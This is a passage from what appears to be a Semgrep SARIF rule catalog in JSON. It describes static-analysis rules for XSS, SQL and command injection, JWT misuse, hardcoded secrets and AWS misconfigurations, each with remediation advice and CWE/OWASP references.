'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n - [https://golang.org/pkg/io/#WriteString](https://golang.org/pkg/io/#WriteString)\n","text":"Detected 'io.WriteString()' writing directly to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter","id":"go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter","name":"go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected public S3 bucket. This policy allows anyone to have some kind of access to the bucket. The exact level of access and types of actions allowed will depend on the configuration of bucket policy and ACLs. Please review the bucket configuration to make sure they are set with intended values."},"help":{"markdown":"Detected public S3 bucket. This policy allows anyone to have some kind of access to the bucket. The exact level of access and types of actions allowed will depend on the configuration of bucket policy and ACLs. Please review the bucket configuration to make sure they are set with intended values.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/json.aws.security.public-s3-bucket.public-s3-bucket)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html)\n","text":"Detected public S3 bucket. This policy allows anyone to have some kind of access to the bucket. The exact level of access and types of actions allowed will depend on the configuration of bucket policy and ACLs. Please review the bucket configuration to make sure they are set with intended values."},"helpUri":"https://semgrep.dev/r/json.aws.security.public-s3-bucket.public-s3-bucket","id":"json.aws.security.public-s3-bucket.public-s3-bucket","name":"json.aws.security.public-s3-bucket.public-s3-bucket","properties":{"precision":"very-high","tags":["CWE-264: CWE CATEGORY: Permissions, Privileges, and Access Controls","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: json.aws.security.public-s3-bucket.public-s3-bucket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded variable `DEBUG` detected. Set this by using FLASK_DEBUG environment variable"},"help":{"markdown":"Hardcoded variable `DEBUG` detected. Set this by using FLASK_DEBUG environment variable\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `DEBUG` detected. Set this by using FLASK_DEBUG environment variable"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_DEBUG"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside Write. Audit the input to '$CW.Write'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside Write. Audit the input to '$CW.Write'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-command-write.dangerous-command-write)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside Write. Audit the input to '$CW.Write'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-command-write.dangerous-command-write","id":"go.lang.security.audit.dangerous-command-write.dangerous-command-write","name":"go.lang.security.audit.dangerous-command-write.dangerous-command-write","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-command-write.dangerous-command-write"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.hibernate-sqli.hibernate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.hibernate-sqli.hibernate-sqli","id":"kotlin.spring.hibernate-sqli.hibernate-sqli","name":"kotlin.spring.hibernate-sqli.hibernate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.hibernate-sqli.hibernate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure comparisons involving md5 values are strict (use `===` not `==`) to avoid type juggling issues"},"help":{"markdown":"Make sure comparisons involving md5 values are strict (use `===` not `==`) to avoid type juggling issues\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.md5-loose-equality.md5-loose-equality)\n - [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)\n - [https://www.whitehatsec.com/blog/magic-hashes/](https://www.whitehatsec.com/blog/magic-hashes/)\n","text":"Make sure comparisons involving md5 values are strict (use `===` not `==`) to avoid type juggling issues"},"helpUri":"https://semgrep.dev/r/php.lang.security.md5-loose-equality.md5-loose-equality","id":"php.lang.security.md5-loose-equality.md5-loose-equality","name":"php.lang.security.md5-loose-equality.md5-loose-equality","properties":{"precision":"very-high","tags":["CWE-697: Incorrect Comparison","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.md5-loose-equality.md5-loose-equality"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"bcrypt hash detected"},"help":{"markdown":"bcrypt hash detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"bcrypt hash detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash","id":"generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash","name":"generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `DB['select * from items where name = ?', name]`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `DB['select * from items where name = ?', name]`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.sequel-sqli.sequel-sqli)\n - [https://github.com/jeremyevans/sequel#label-Arbitrary+SQL+queries](https://github.com/jeremyevans/sequel#label-Arbitrary+SQL+queries)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `DB['select * from items where name = ?', name]`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.sequel-sqli.sequel-sqli","id":"ruby.aws-lambda.security.sequel-sqli.sequel-sqli","name":"ruby.aws-lambda.security.sequel-sqli.sequel-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.sequel-sqli.sequel-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that actions that can result in privilege escalation are not used. These actions could potentially result in an attacker gaining full administrator access of an AWS account. Try not to use these actions."},"help":{"markdown":"Ensure that actions that can result in privilege escalation are not used. These actions could potentially result in an attacker gaining full administrator access of an AWS account. Try not to use these actions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs)\n - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/](https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/)\n","text":"Ensure that actions that can result in privilege escalation are not used. These actions could potentially result in an attacker gaining full administrator access of an AWS account. Try not to use these actions."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs","id":"terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs","name":"terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"help":{"markdown":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials)\n - [https://cwe.mitre.org/data/definitions/522.html](https://cwe.mitre.org/data/definitions/522.html)\n","text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"helpUri":"https://semgrep.dev/r/python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials","id":"python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials","name":"python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected wildcard access granted in your ECR repository policy principal. This grants access to all users, including anonymous users (public access). Instead, limit principals, actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected wildcard access granted in your ECR repository policy principal. This grants access to all users, including anonymous users (public access). Instead, limit principals, actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository_policy)\n - [https://docs.aws.amazon.com/lambda/latest/operatorguide/wildcard-permissions-iam.html](https://docs.aws.amazon.com/lambda/latest/operatorguide/wildcard-permissions-iam.html)\n - [https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/monitor-amazon-ecr-repositories-for-wildcard-permissions-using-aws-cloudformation-and-aws-config.html](https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/monitor-amazon-ecr-repositories-for-wildcard-permissions-using-aws-cloudformation-and-aws-config.html)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected wildcard access granted in your ECR repository policy principal. This grants access to all users, including anonymous users (public access). Instead, limit principals, actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal","id":"terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal","name":"terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This gets data from session using user inputs. A malicious user may be able to retrieve information from your session that you didn't intend them to. Do not use user input as a session key."},"help":{"markdown":"## Remediation\nSession manipulation can occur when an application allows user-input in session keys. Since sessions are typically considered a source of truth (e.g. to check the logged-in user or to match CSRF tokens), allowing an attacker to manipulate the session may lead to unintended behavior.\n\n## References\n[Session Manipulation](https://brakemanscanner.org/docs/warning_types/session_manipulation/)\n\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation)\n - [https://brakemanscanner.org/docs/warning_types/session_manipulation/](https://brakemanscanner.org/docs/warning_types/session_manipulation/)\n","text":"## Remediation\nSession manipulation can occur when an application allows user-input in session keys. Since sessions are typically considered a source of truth (e.g. to check the logged-in user or to match CSRF tokens), allowing an attacker to manipulate the session may lead to unintended behavior.\n\n## References\n[Session Manipulation](https://brakemanscanner.org/docs/warning_types/session_manipulation/)\n"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation","id":"ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation","name":"ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Allowing an attacker to manipulate the session may lead to unintended behavior."}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Allowing user input to `send_file` allows a malicious user to potentially read arbitrary files from the server. Avoid accepting user input in `send_file` or normalize with `File.basename(...)`"},"help":{"markdown":"Allowing user input to `send_file` allows a malicious user to potentially read arbitrary files from the server. Avoid accepting user input in `send_file` or normalize with `File.basename(...)`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-send-file.check-send-file)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n","text":"Allowing user input to `send_file` allows a malicious user to potentially read arbitrary files from the server. Avoid accepting user input in `send_file` or normalize with `File.basename(...)`"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-send-file.check-send-file","id":"ruby.rails.security.brakeman.check-send-file.check-send-file","name":"ruby.rails.security.brakeman.check-send-file.check-send-file","properties":{"precision":"very-high","tags":["CWE-73: External Control of File Name or Path","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-send-file.check-send-file"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string","id":"python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string","name":"python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of HTTP content in WebViews. This means that connections accessed in a WebView may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for insecure accessing of HTTP content in WebViews. This means that connections accessed in a WebView may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of HTTP content in WebViews. This means that connections accessed in a WebView may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads","id":"swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads","name":"swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"help":{"markdown":"Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection)\n - [https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements](https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements)\n","text":"Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","id":"javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","name":"javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"transferFrom() can steal allowance of other accounts"},"help":{"markdown":"transferFrom() can steal allowance of other accounts\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug)\n - [https://medium.com/immunefi/redacted-cartel-custom-approval-logic-bugfix-review-9b2d039ca2c5](https://medium.com/immunefi/redacted-cartel-custom-approval-logic-bugfix-review-9b2d039ca2c5)\n - [https://etherscan.io/address/0x186E55C0BebD2f69348d94C4A27556d93C5Bd36C](https://etherscan.io/address/0x186E55C0BebD2f69348d94C4A27556d93C5Bd36C)\n","text":"transferFrom() can steal allowance of other accounts"},"helpUri":"https://semgrep.dev/r/solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug","id":"solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug","name":"solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug","properties":{"precision":"very-high","tags":["CWE-688: Function Call With Incorrect Variable or Reference as Argument","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure AWS Redshift cluster is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure AWS Redshift cluster is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Ensure AWS Redshift cluster is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk","id":"terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk","name":"terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg","id":"javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg","name":"javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected subprocess function '$LOOP.subprocess_exec' with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected subprocess function '$LOOP.subprocess_exec' with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command 